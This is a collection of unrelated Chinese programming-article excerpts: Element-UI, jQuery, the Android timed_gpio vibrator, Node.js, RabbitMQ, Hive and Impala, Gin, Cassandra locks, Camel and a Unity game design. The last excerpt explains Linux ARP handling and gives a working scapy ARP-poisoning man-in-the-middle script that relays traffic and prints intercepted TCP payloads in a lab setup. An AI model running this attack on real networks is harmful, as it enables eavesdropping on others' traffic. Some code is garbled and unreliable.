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...nt-UI的那个Slider滑块组件，用手拽着它来回滑动的时候，你会发现这个数值的变化不是那么实时同步的，而是稍微有点延迟感，就像是它在打个小盹儿，过一会儿才反应过来。这可能会影响用户的使用体验，也可能导致我们的应用程序出现问题。 二、问题分析 为什么会出现这样的情况呢？让我们先从滑块的工作原理开始探讨。 滑块的核心是通过监听鼠标的拖动事件，并根据鼠标的位置计算出对应的值。然后，我们将这个值设置为滑块的当前值。这就是一个典型的前后端交互的过程。 在这个过程中，存在一个问题：由于网络延迟或者计算机性能等原因，滑块的值可能不会立即更新。这就导致了我们在拖动滑块时，看到的值与真实的值之间存在一定的延迟。 三、解决方案 那么，如何解决这个问题呢？ 首先，我们可以考虑优化我们的前端代码。比如，我们可以借助requestAnimationFrame这个小妙招，让滑块的值能够像心跳一样有节奏地更新，这样一来，浏览器就不用频繁地进行重绘工作，从而让页面加载、滚动时更加流畅顺滑，速度嗖嗖地提升。同时，我们也可以避免因为频繁的数据请求而带来的网络延迟。 另外，我们还可以考虑优化后端的服务。比如，想象一下我们把滑块的数值放在一个中心仓库里，这个仓库对所有人都开放，每次用户调皮地拽动滑块的时候，我们就只需要把这个仓库里的数值更新一下。接下来，就舒舒服服地等待后端服务大哥给咱们回个“收到，一切OK”的消息就行啦。这样不仅可以减少网络请求的次数，也可以降低服务器的压力。 四、实例演示 下面，我将以一个具体的例子来演示上述解决方案。 html 在这个例子中，我们使用了一个定时器来模拟后端服务的响应时间。当用户手指一滑，动了那个滑块，我们立马就会给滑块的数值来个刷新。然后呢，咱也不急不躁，等个大概200毫秒的样子，再悠哉悠哉地给后端发送一个“一切OK”的确认消息哈。这样就可以避免出现滑块值的实时更新延迟的问题了。 五、结论 总的来说，滑块值的实时更新延迟是一个常见的问题，但只要我们采取正确的策略，就完全可以解决这个问题。我们得把前端和后端的技术两手抓，联手优化咱们的代码和服务，这样一来，就能让用户享受到更上一层楼的体验。同时呢，咱们也得时刻保持对问题的敏锐洞察力和满满的好奇心，这样才能够不断发现那些藏起来的问题，解决它们，从而让我们的技术噌噌噌地进步！

...er with Sliding Bar Play/Pause 50% 在这个HTML文件中，我们首先定义了一个播放器容器，然后在其中添加了四个子元素：播放/暂停按钮、音量滑动条、进度条以及滚动条。 四、添加交互功能 接下来，我们要给这些元素添加交互功能。首先，咱们得给那个播放/暂停的小按钮装上一个“监听器”，好让它能感应到咱们的点击。这样一来，当你轻轻一点这个小家伙，它就能聪明地在播放和暂停之间切换状态，就像个小魔术师一样灵活。另外，我们还得给音量调节滑块安个“小耳朵”，让它能监听滑动事件。这样一来，每当咱们拨动滑块改变位置时，音量值就能及时得到更新啦！ 以下是这部分代码示例： javascript $(document).ready(function() { var player = $('.player'); var playPauseButton = $('play-pause'); var volumeSlider = $('.volume'); var playedBar = $('.played'); var totalBar = $('.total'); // 设置初始播放状态 player.removeClass('paused').addClass('playing'); // 添加播放/暂停按钮点击事件监听器 playPauseButton.click(function() { if (player.hasClass('playing')) { player.removeClass('playing').addClass('paused'); $(this).text('Play'); } else { player.removeClass('paused').addClass('playing'); $(this).text('Pause'); } }); // 添加音量滑动条滑动事件监听器 volumeSlider.on('input', function() { var percent = $(this).val(); setVolume(percent); }); // 更新音量值 function setVolume(value) { volumeSlider.val(value); var volumePercent = (value / 100) 100; var volumeValueText = volumePercent + '%'; $('.volume-value').text(volumeValueText); } // 计算并设置进度条长度 function updateProgress(currentTime, duration) { var playedLength = (currentTime / duration) 100; var playedBarWidth = playedLength + '%'; playedBar.width(playedBarWidth); } }); 五、添加进度条更新功能 最后，我们要让进度条能够随着音乐播放的进度而自动更新。为了实现这个目标，咱们得时不时瞅一眼现在播放的时间，然后根据这个时间，像算数课那样，计算出当前的进度。然后，我们将新的进度设置为进度条的宽度。 以下是这部分代码示例： javascript // 定义定时器 var timerId; // 开始播放后设置定时器 function startPlaying() { timerId = setInterval(function() { var currentTime = audio.currentTime; var duration = audio.duration; updateProgress(currentTime, duration); }, 1000); } // 停止播放时清除定时器 function stopPlaying() { clearInterval(timerId); } 六、总结 以上就是使用jQuery创建一个带滑动条的播放器的全过程。从创建播放器界面到添加交互功能，再到添加进度条更新功能，每一个环节都需要我们仔细考虑和精心设计。虽然这个过程就像一场冒险，会遇到各种预料不到的挑战和难题，但是只要我们像跑马拉松那样，咬紧牙关、坚持到底，就绝对能把这个任务漂亮地搞定，妥妥的！ 在这个过程中，我们也学到了很多有用的知识和技术，例如HTML、CSS、jQuery的基本语法、事件处理和动画等。这些知识和技术将会对我们今后的网页开发工作产生深远的影响。 最后，我希望这篇教程能够对你有所帮助。如果你有任何疑问或者建议，欢迎随时与我联系。祝你在学习之路一切顺利！

...吧。 其实android中已经做好了底层的驱动，那便是timed_gpio，就是把定时功能和gpio的功能结合在一起了，振动就是一个小直流电机了，当gpio口是高电平的时候，电机就转动了，当gpio口为低电平的时候，电机就不转了，而time是控制转的时间，也就是gpio口处于高电平的时间。 具体的代码就在/drivers/staging/android/timed_gpio.c 在相关平台的platform.c中加入platform device就可以了。 static struct timed_gpio vibrator = {.name = “vibrator”,.gpio = 61, //对应自己平台的gpio号.max_timeout = 100000,.active_low = 0;};static struct timed_gpio_platform_data timed_gpio_data = {.num_gpios = 1,.gpios = &vibrator,};static struct platform_device my_timed_gpio = {.name = “timed-gpio”,.id = -1,.dev = {.platform_data = &timed_gpio_data,},}; 然后在make menuconfig中选上device下的staging下的android中的相关选项 然后就可以跑一下内核来了，当内核跑起来后，就可以测试了。 因为timed gpio驱动程序为每个设备在/sys/class/timed_output/目录下建立一个子 录，设备子目录的enable文件就是控制设备的时间的。因为在platform中名称为vibrator， 所以，用以下命令可以测试： echo 10000 > /sys/class/timed_output/vibrator/enable 然后可以看下振动器在转了，也可以用示波器或者万用表来验证 接着可以 cat /sys/class/timed_output/vibrator/enable 发现enable的值一直在变小，直到为0的时候停止了转动了。 OK，底层驱动好了，那么android上层就好办多了，因为android上层几乎和平台关系不大，要改的东西很少很少。 至于android硬件抽象层，在hardware/libhardware_legacy/include/hardware_legacy/ vibrator目录下。 include <hardware_legacy/vibrator.h>include "qemu.h"include <stdio.h>include <unistd.h>include <fcntl.h>include <errno.h>define THE_DEVICE "/sys/class/timed_output/vibrator/enable"int vibrator_exists(){int fd;ifdef QEMU_HARDWAREif (qemu_check()) {return 1;}endiffd = open(THE_DEVICE, O_RDWR);if(fd < 0)return 0;close(fd);return 1;}static int sendit(int timeout_ms){int nwr, ret, fd;char value[20];ifdef QEMU_HARDWAREif (qemu_check()) {return qemu_control_command( "vibrator:%d", timeout_ms );}endiffd = open(THE_DEVICE, O_RDWR);if(fd < 0)return errno;nwr = sprintf(value, "%d\n", timeout_ms);ret = write(fd, value, nwr);close(fd);return (ret == nwr) ? 0 : -1;}int vibrator_on(int timeout_ms){/ constant on, up to maximum allowed time /return sendit(timeout_ms);}int vibrator_off(){return sendit(0);} 看到了吧 define THE_DEVICE "/sys/class/timed_output/vibrator/enable" 就是我们要操作的底层驱动的地方，只要这个和驱动配上，那么剩下的事情就木有了，直接搞定了。 其实她也是往这里写数据，android的java层就不关心她了。好了，然后可以在android启动后设置一个闹钟来测试下了，发现可以，至此android的vibrator移植成功。 突然发现了，其实以前觉得很难得东西，很不好理解的东西，在过一段时间后再回过头去看的时候才会恍然大悟。学习是个漫长的过程，是一个知识慢慢积累的过程，一口气是吃不成胖子的。 本篇文章为转载内容。原文链接：https://blog.csdn.net/eastmoon502136/article/details/7909688。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...码会持续创建一个新的定时器，并在每秒打印一次消息。虽然这个函数表面上看没啥毛病，但实际上每执行一次，它都会悄咪咪地生成一个新的定时器小家伙。这些小家伙们就像赖在内存里的钉子户，垃圾回收机制也拿它们没辙，这样一来，就造成了内存泄漏的问题。 2. 解决方案 对于这个问题，我们需要确保定时器只被创建一次，并且在不再需要时清除。例如： javascript var intervalId = null; function createTimer() { if (!intervalId) { intervalId = setInterval(function () { console.log('This is timer'); }, 1000); } } createTimer(); // 在不需要时清除定时器 function stopTimer() { clearInterval(intervalId); intervalId = null; } 四、内存泄露的原因 内存泄漏的根本原因在于JavaScript的垃圾回收机制并不完美。JavaScript这门语言呢，它有个特点，就是“单线程”，这就意味着同一时间只能做一件事情。所以嘞，对于那些变量们，它们都得在各自的地盘，也就是“作用域”里待着，如果不乖乖待在自己的作用域内，咱们就甭想找到它们，也就没法用上啦。这就意味着，假如一个变量没人再用了，就像个被丢弃在角落的旧玩具一样，垃圾回收机制这个勤劳的小清洁工会过来把它收拾掉，给内存空间腾地儿。不过呢，这可不总是板上钉钉的事儿，特别是在处理那种耗时贼长的任务，或者遇到“你中有我、我中有你”的循环引用情况时。 五、如何避免内存泄漏 1. 避免全局变量 全局变量始终处于活动状态，可能会导致内存泄漏。如果必须使用全局变量，应该尽可能地减少它们的数量。 2. 使用let和const代替var let和const可以让我们更好地控制变量的作用域，从而减少不必要的内存占用。 3. 清除不再使用的定时器 如前面的例子所示，我们应该在不再需要定时器时清除它们。 六、结论 Node.js是一个强大的工具，但就像其他技术一样，它也有其局限性和挑战。理解并掌握Node.js的内存管理问题是提高应用程序性能的关键。通过不断学习和亲身实践，我们完全有能力搞定这些问题，进而打造出更为稳如磐石、性能更上一层楼的Node.js应用。

...pp'}, app_id='myapp', priority=9, timestamp=datetime.utcnow(), expiration=str(ttl / 1000)), 发布消息 channel.basic_publish(exchange='', routing_key='my_queue', body=message, properties=props) 在这个例子中，我们首先定义了一个BasicProperties对象，并设置了它的头部属性。然后，我们在发布消息的时候，将这个对象传递给了basic_publish方法。这样，我们就可以在消息发布的同时，设置消息的TTL属性了。 2. 通过API设置消息的TTL属性 python import pika connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() 定义消息内容 message = "Hello World!" 设置消息的TTL属性 properties = pika.BasicProperties(expires=ttl) 发送消息 channel.basic_publish(exchange='', routing_key='my_queue', body=message, properties=properties) connection.close() 在这个例子中，我们首先建立了与RabbitMQ服务器的连接，并获取了一个频道。然后，我们定义了一条消息的内容，并设置了它的TTL属性。最后，我们将这条消息发送到了指定的队列。 四、TTL的作用 TTL是一个非常重要的功能，它可以帮助我们解决许多问题。下面是一些常见的应用场景： 1. 清理过期的数据 当我们有大量的数据需要存储的时候，如果没有合理的数据清理策略，数据量会越来越大，最终可能导致存储空间不足。通过调整TTL这个小家伙，我们就能像定时扫除过期杂物一样，定期清理掉那些无效的数据，确保咱们的数据始终保持新鲜有效，而且安全无虞。 2. 控制消息的生命周期 有时候，我们需要控制消息的生命周期，确保消息在特定的时间内被消费或者被删除。通过设置TTL，我们可以精确地控制消息的生命周期，满足各种需求。 3. 避免消息丢失 在某些情况下，由于网络故障或者其他原因，消息可能无法成功发送。这会儿，假如我们没给消息设定TTL（存活时间），那这条消息就会长期赖在队列里头，直到超时了才会被系统自动清理掉。这种情况会导致消息丢失，影响系统的正常运行。通过设置TTL，我们可以有效地防止这种情况的发生。 五、总结 总的来说，TTL是RabbitMQ的一个重要特性，它可以帮助我们更好地管理和维护消息中间件。了解并熟练掌握TTL的玩法，咱们就能在使用RabbitMQ时更加得心应手，这样一来，工作效率自然蹭蹭往上涨。

...customer_id字段对销售记录进行了分区，意味着窗口函数会在每个客户的所有销售记录上独立运行。 聚合操作 , 在数据库和大数据处理领域，聚合操作是指对一组值执行某种计算以生成一个单一输出值的过程。常见的聚合函数有SUM（求和）、COUNT（计数）、AVG（平均值）、MAX（最大值）、MIN（最小值）等。在Hive窗口函数中，可以结合聚合函数来实现对窗口内数据的累计、滚动统计等功能，如文中所述的计算每个客户在一定时间范围内的累计销售额。

...("/users/:id", updateUser) v1.DELETE("/users/:id", deleteUser) 这里，:id是一个动态参数，表示URL中的某个部分可以变化。比如说，当你访问"/api/v1/users/123"这个路径时，它就像个神奇的按钮，直接触发了“updateUser”这个函数的执行。 五、嵌套路由组 有时候，你可能需要更复杂的URL结构，这时可以使用嵌套路由组： go v1 := r.Group("/users") { v1.GET("/:id", getUser) v1.POST("", createUser) // 注意这里的空字符串，表示没有特定的路径部分 } 六、中间件的应用 在路由组上添加中间件可以为一组路由提供通用的功能，如验证、日志记录等。例如，我们可以在所有v1组的请求中添加身份验证中间件： go authMiddleware := func(c gin.Context) { // 这里是你的身份验证逻辑 } v1.Use(authMiddleware) 七、总结与拓展 通过以上步骤，你已经掌握了如何在Go Gin中使用路由组。路由组不仅帮助我们组织代码，还使我们能够更好地复用和扩展代码。当你碰到那些需要动点脑筋的难题，比如权限控制、出错应对的时候，你就把这玩意儿往深里挖，扩展升级，让它变得更聪明更顺溜。 记住，编程就像搭积木，每一块都对应着一个功能。用Go Gin的聪明路由功能，就像给你的代码设计了个贴心的导航系统，让结构井然有序，维护起来就像跟老朋友聊天一样顺溜。祝你在Go Gin的世界里玩得开心，构建出强大的Web应用！

...ck ( lock_id text, owner text, timestamp timestamp, PRIMARY KEY (lock_id) ) WITH default_time_to_live = 60; 这里，lock_id表示要锁定的资源标识，owner记录当前持有锁的节点信息，timestamp用于判断锁的有效期。设置TTL（Time To Live）这玩意儿，其实就像是给一把锁定了个“保质期”，为的是防止出现死锁这么个尴尬情况。想象一下，某个节点正握着一把锁，结果突然嗝屁了还没来得及把锁解开，这时候要是没个机制在一定时间后自动让锁失效，那不就僵持住了嘛。所以呢，这个TTL就是来扮演救场角色的，到点就把锁给自动释放了。 3. 使用Cassandra实现分布式锁的基本逻辑 为了获取锁，一个节点需要执行以下步骤： 1. 尝试插入锁定记录 - 使用INSERT IF NOT EXISTS语句尝试向distributed_lock表中插入一条记录。 cql INSERT INTO distributed_lock (lock_id, owner, timestamp) VALUES ('resource_1', 'node_A', toTimestamp(now())) IF NOT EXISTS; 如果插入成功，则说明当前无其他节点持有该锁，因此本节点获得了锁。 2. 检查插入结果 - Cassandra的INSERT语句会返回一个布尔值，指示插入是否成功。只有当插入成功时，节点才认为自己成功获取了锁。 3. 锁维护与释放 - 节点在持有锁期间应定期更新timestamp以延长锁的有效期，避免因超时而被误删。 - 在完成临界区操作后，节点通过DELETE语句释放锁： cql DELETE FROM distributed_lock WHERE lock_id = 'resource_1'; 4. 实际应用中的挑战与优化 然而，在实际场景中，直接使用上述简单方法可能会遇到一些挑战： - 竞争条件：多个节点可能同时尝试获取锁，单纯依赖INSERT IF NOT EXISTS可能导致冲突。 - 网络延迟：在网络分区或高延迟情况下，一个节点可能无法及时感知到锁已被其他节点获取。 为了解决这些问题，我们可以在客户端实现更复杂的算法，如采用CAS（Compare and Set）策略，或者引入租约机制并结合心跳维持，确保在获得锁后能够稳定持有并最终正确释放。 5. 结论与探讨 虽然Cassandra并不像Redis那样提供了内置的分布式锁API，但它凭借其强大的分布式能力和灵活的数据模型，仍然可以通过精心设计的查询语句和客户端逻辑实现分布式锁功能。当然，在真实生产环境中，实施这样的方案之前，需要充分考虑性能、容错性以及系统的整体复杂度。每个团队会根据自家业务的具体需求和擅长的技术工具箱，挑选出最合适、最趁手的解决方案。就像有时候，面对复杂的协调难题，还不如找一个经验丰富的“老司机”帮忙，比如用那些久经沙场、深受好评的分布式协调服务，像是ZooKeeper或者Consul，它们往往能提供更加省时省力又高效的解决之道。不过，对于已经深度集成Cassandra的应用而言，直接在Cassandra内实现分布式锁也不失为一种有创意且贴合实际的策略。

...numbers ( id TINYINT, value SMALLINT, count INT, total BIGINT ); 在这个例子中，id 可能只需要一个非常小的范围，所以 TINYINT 是一个不错的选择。而 value 和 count 则可以根据实际需求选择 SMALLINT 或 INT。要是你得对付那些超级大的数字，比如说计算网站的点击量，那 BIGINT 可就派上用场了。 3.2 浮点型的选择 示例代码： sql CREATE TABLE prices ( product_id INT, price FLOAT, discount_rate DOUBLE ); 在处理价格和折扣率这类数据时，FLOAT 足够满足大部分需求。不过，如果是要做金融计算这种得特别精确的事情，还是用 DOUBLE 类型吧，这样数据才靠谱。 3.3 字符串的选择 示例代码： sql CREATE TABLE users ( user_id INT, name STRING, email VARCHAR(255) ); 对于用户名称和电子邮件地址这种信息，我们可以使用 STRING 类型。如果知道字段的最大长度，推荐使用 VARCHAR，这样可以节省一些存储空间。 3.4 日期时间的选择 示例代码： sql CREATE TABLE orders ( order_id INT, order_date TIMESTAMP, delivery_date TIMESTAMP ); 在处理订单日期和交货日期这样的信息时，TIMESTAMP 类型是最直接的选择。这个不仅能存日期，还能带上具体的时间，特别适合用来做时间上的研究和分析。 3.5 布尔型的选择 示例代码： sql CREATE TABLE active_users ( user_id INT, is_active BOOLEAN ); 如果你有一个字段需要表示某种状态是否开启（如用户账户是否激活），那么 BOOLEAN 类型就是最佳选择。它只有两种取值：TRUE 和 FALSE，非常适合用来简化逻辑判断。 4. 性能优化技巧 4.1 减少数据冗余 尽量避免不必要的数据冗余。例如，在多个表中重复存储相同的字符串数据（如用户姓名）。可以考虑使用外键或者创建一个独立的字符串存储表来减少重复数据。 4.2 使用分区表 分区表可以帮助我们更好地管理和优化大型数据集。把数据按时间戳之类的东西分个区，查询起来会快很多，特别是当你 dealing with 时间序列数据的时候。 示例代码： sql CREATE TABLE sales ( year INT, month INT, day INT, amount DECIMAL(10,2) ) PARTITION BY (year, month); 在这个例子中，我们将 sales 表按年份和月份进行了分区，这样查询某个特定时间段的数据就会变得非常高效。 4.3 使用索引 合理利用索引可以大大提高查询速度。不过，在建索引的时候得好好想想，毕竟索引会吃掉一部分存储空间，而且在往里面添加或修改数据时，还得额外花工夫去维护。 示例代码： sql CREATE INDEX idx_user_email ON users(email); 通过在 email 字段上创建索引，我们可以快速查找特定邮箱的用户记录。 5. 结论 通过本文的学习，我们了解了如何在Impala中选择合适的数据类型以及如何通过这些选择来优化查询性能。希望这些知识能够帮助你在实际工作中做出更好的决策。记住啊，选数据类型和搞性能优化这事儿，就跟学骑自行车一样，得不停地练。别害怕摔跤，每次跌倒都是长经验的好机会！祝你在这个过程中找到乐趣，享受数据带来的无限可能！

...了如何通过Camel定时器触发消息产生，并将其发送至ActiveMQ队列，同时又设置了一个消费者从该队列中拉取消息并打印处理。 4. Camel集成ActiveMQ的优势及应用场景 通过Camel与ActiveMQ的集成，开发者可以利用Camel的强大路由能力，实现复杂的消息流转逻辑，如内容过滤、转换、分发等。此外，Camel还提供了健壮的错误处理机制，使得整个消息流更具鲁棒性。 例如，在微服务架构下，多个服务间的数据同步、事件通知等问题可以通过ActiveMQ与Camel的结合得到优雅解决。当某个服务干完活儿，处理完了业务，它只需要轻轻松松地把结果信息发布到特定的那个“消息主题”或者“队列”里头。这样一来，其他那些有关联的服务就能像订报纸一样，实时获取到这些新鲜出炉的信息。这就像是大家各忙各的，但又能及时知道彼此的工作进展，既解耦了服务之间的紧密依赖，又实现了异步通信，让整个系统运行得更加灵活、高效。 5. 结语 总的来说，Apache Camel与ActiveMQ的集成极大地扩展了消息驱动系统的可能性，赋予开发者以更高层次的抽象去设计和实现复杂的集成场景。这种联手合作的方式，就像两个超级英雄组队，让整个系统变得身手更加矫健、灵活多变，而且还能够随需应变地扩展升级。这样一来，咱们每天的开发工作简直像是坐上了火箭，效率嗖嗖往上升，维护成本也像滑梯一样唰唰降低，真是省时省力又省心呐！当我们面对大规模、多组件的分布式系统时，不妨尝试借助于Camel和ActiveMQ的力量，让消息传递变得更简单、更强大。

...ogs ( log_id BIGINT, timestamp TIMESTAMP, user_id STRING, event_type STRING, event_data STRING ) ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' STORED AS TEXTFILE; 然后，通过Hive或Hadoop工具将日志文件加载至该表： bash hive -e "LOAD DATA INPATH '/path/to/logs' INTO TABLE logs;" 3.2 Impala SQL查询实例 有了结构化的日志数据后，我们便可以在Impala中执行复杂的SQL查询来进行深入分析。例如，我们可以找出过去一周内活跃用户的数量： sql SELECT COUNT(DISTINCT user_id) FROM logs WHERE timestamp >= UNIX_TIMESTAMP(CURRENT_DATE) - 7246060; 或者，我们可以统计各类事件发生的频率： sql SELECT event_type, COUNT() as event_count FROM logs GROUP BY event_type ORDER BY event_count DESC; 这些查询均能在Impala中以极快的速度得到结果，满足了对大规模日志实时分析的需求。 3.3 性能优化探讨 在使用Impala进行日志分析时，性能优化同样重要。比如，对常量字段创建分区表，可以显著提高查询速度： sql CREATE TABLE logs_partitioned ( -- 同样的列定义... ) PARTITIONED BY (year INT, month INT, day INT); 随后按照日期对原始表进行分区数据迁移： sql INSERT OVERWRITE TABLE logs_partitioned PARTITION (year, month, day) SELECT log_id, timestamp, user_id, event_type, event_data, YEAR(timestamp), MONTH(timestamp), DAY(timestamp) FROM logs; 这样，在进行时间范围相关的查询时，Impala只需扫描相应分区的数据，大大提高了查询效率。 4. 结语 总之，Impala凭借其出色的性能和易用性，在大规模日志分析领域展现出了强大的实力。它让我们能够轻松应对PB级别的数据，实现实时、高效的查询分析。当然啦，每个项目都有它独特的小脾气和难关，但只要巧妙地运用Impala的各种神通广大功能，并根据实际情况灵活机动地调整作战方案，保证能稳稳驾驭那滔滔不绝的大规模日志分析大潮。这样一来，企业就能像看自家后院一样清晰洞察业务动态，优化决策也有了如虎添翼的强大力量。在这个过程中，我们就像永不停歇的探险家，不断开动脑筋思考问题，动手实践去尝试，勇敢探索未知领域。这股劲头，就像是咱们在技术道路上前进的永动机，推动着我们持续进步，一步一个脚印地向前走。

...工作目录以及如何在特定时机（如定时器结束时）让进程优雅地退出，这里的退出码0通常表示成功退出，而非异常结束。 --- 3. 监听进程事件 process对象还是一个事件发射器，可以监听各种进程级别的事件： javascript // 监听未捕获异常事件 process.on('uncaughtException', (err) => { console.error('发生未捕获异常:', err.message); // 进行必要的清理操作后退出进程 process.exit(1); }); // 监听Ctrl+C（SIGINT信号）事件 process.on('SIGINT', () => { console.log('\n接收到中断信号，正在退出...'); process.exit(); }); 上述代码片段演示了如何处理未捕获的异常和用户按下Ctrl+C时发送的SIGINT信号，这对于编写健壮的应用程序至关重要，确保在意外情况下也能安全退出。 --- 4. 进程间通信与环境变量 通过process对象，我们还能访问和修改环境变量，这是跨模块共享配置信息的重要手段： javascript // 设置环境变量 process.env.MY_SECRET_KEY = 'top-secret-value'; // 读取环境变量 console.log('我的密钥:', process.env.MY_SECRET_KEY); 此外，对于更复杂的应用场景，还可以利用process对象进行进程间通信（IPC），虽然这里不展示具体代码，但它是多进程架构中必不可少的一部分，用于父进程与子进程之间的消息传递和数据同步。 --- 结语 总的来说，Node.js中的process全局对象是我们开发过程中不可或缺的朋友，它既是我们洞察进程内部细节的眼睛，又是我们调整和控制整个应用行为的大脑。随着我们对process对象的各种功能不断摸索、掌握和熟练运用，不仅能让咱们的代码变得更加结实牢靠、灵活多变，更能助我们在Node.js编程的世界里打开新世界的大门，解锁更多高阶玩法，让编程变得更有趣也更强大。所以，在下一次编码之旅中，不妨多花些时间关注这位幕后英雄，让它成为你构建高性能、高可靠Node.js应用的强大助力！

...位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑，方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态，播放受击动画，扣除血量并进入无敌状态，定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后，交由InteractionMI判断交互是否成功，返回交互信息，主角播放对应动画 武器逻辑 当主角获得武器后，主角身上保存武器的引用，与武器交互直接调用武器的对应方法（Drop(),Fire()) 结算逻辑 当主角HP小于等于0时，调用Scene的静态方法，请求场景结算 怪物 石像鬼 血量无限，没有受击逻辑，当检测组件检测到主角时，调用继承的Attack方法，攻击主角 幽灵 三种状态：die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关，用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内，如果在调用Damage对幽灵造成伤害 存在一个Box Collider，当玩家进入时，调用InteractionMI的方法，将InteractionMI保存的静态SwitchableLight引用置为自己，当玩家交互时这个引用不为null，则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时，调用InteractionMI的方法，使其内置的静态_slowDownCount计数加一，并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开，设置计时器5秒后调用InteractionMI的方法，使其内置的静态_slowDownCount计数减一，当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器，每三秒改变一次状态，当玩家进入，设置计时器每一秒对玩家造成一次伤害，当玩家离开，取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互，播放开宝箱动画，设置计时器1.2秒后根据预制体克隆一个武器，并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中，自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家，玩家获得武器的引用，自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时，若父物体不为空，设置自身刚体属性，设置速度使武器有抛出效果，设置计时器1秒后恢复到没有物理效果的状态，父物体置为空 Fire方法被调用，若能够开火，则生成并初始化一个子弹，生成时将保存的父物体的Transform给子弹，保证子弹能够向角色前方发射，开火后设置开火状态为不能开火，设置计时器0.5秒后恢复开火状态 当父物体信息为空，与其他交互逻辑类似，通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度，启动定时器1秒后若没有销毁则自动销毁，若碰撞到幽灵，对幽灵造成伤害，其他碰撞销毁自己 本篇文章为转载内容。原文链接：https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...Y 该状态会启动一个定时器，然后接受可到达确认，如果定时器过期之前，收到可到达确认，则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态，准备删除该neighbour 各种状态之间的切换，也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包，且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包，则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包，则分neighbour的状态进行讨论，但是通过分析发现，不论当前neighbour是处于何种状态（NUD_FAILD、NUD_NONE除外），则都会将状态切换成 NUD_STALE状态，且mac地址不相同时，则会切换到本次发送方的mac地址 当为ARP请求数据包，不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour，则不做任何处理。如果该neighbour存在，则将状态切换为NUD_REACHABLE，MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析，可以向受害主机A发送ARP请求数据包，其中请求包中将源IP地址，设置成为受害主机B的IP地址，这样，就会将主机A中的B的 MAC缓存，切换为我们的MAC地址。 同理，向B中发送ARP请求包，其中源IP地址为A的地址 然后，我们进行ARP数据包与IP数据包的中转，从而达到中间人攻击。 使用Python scapy包，实现中间人攻击： 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP 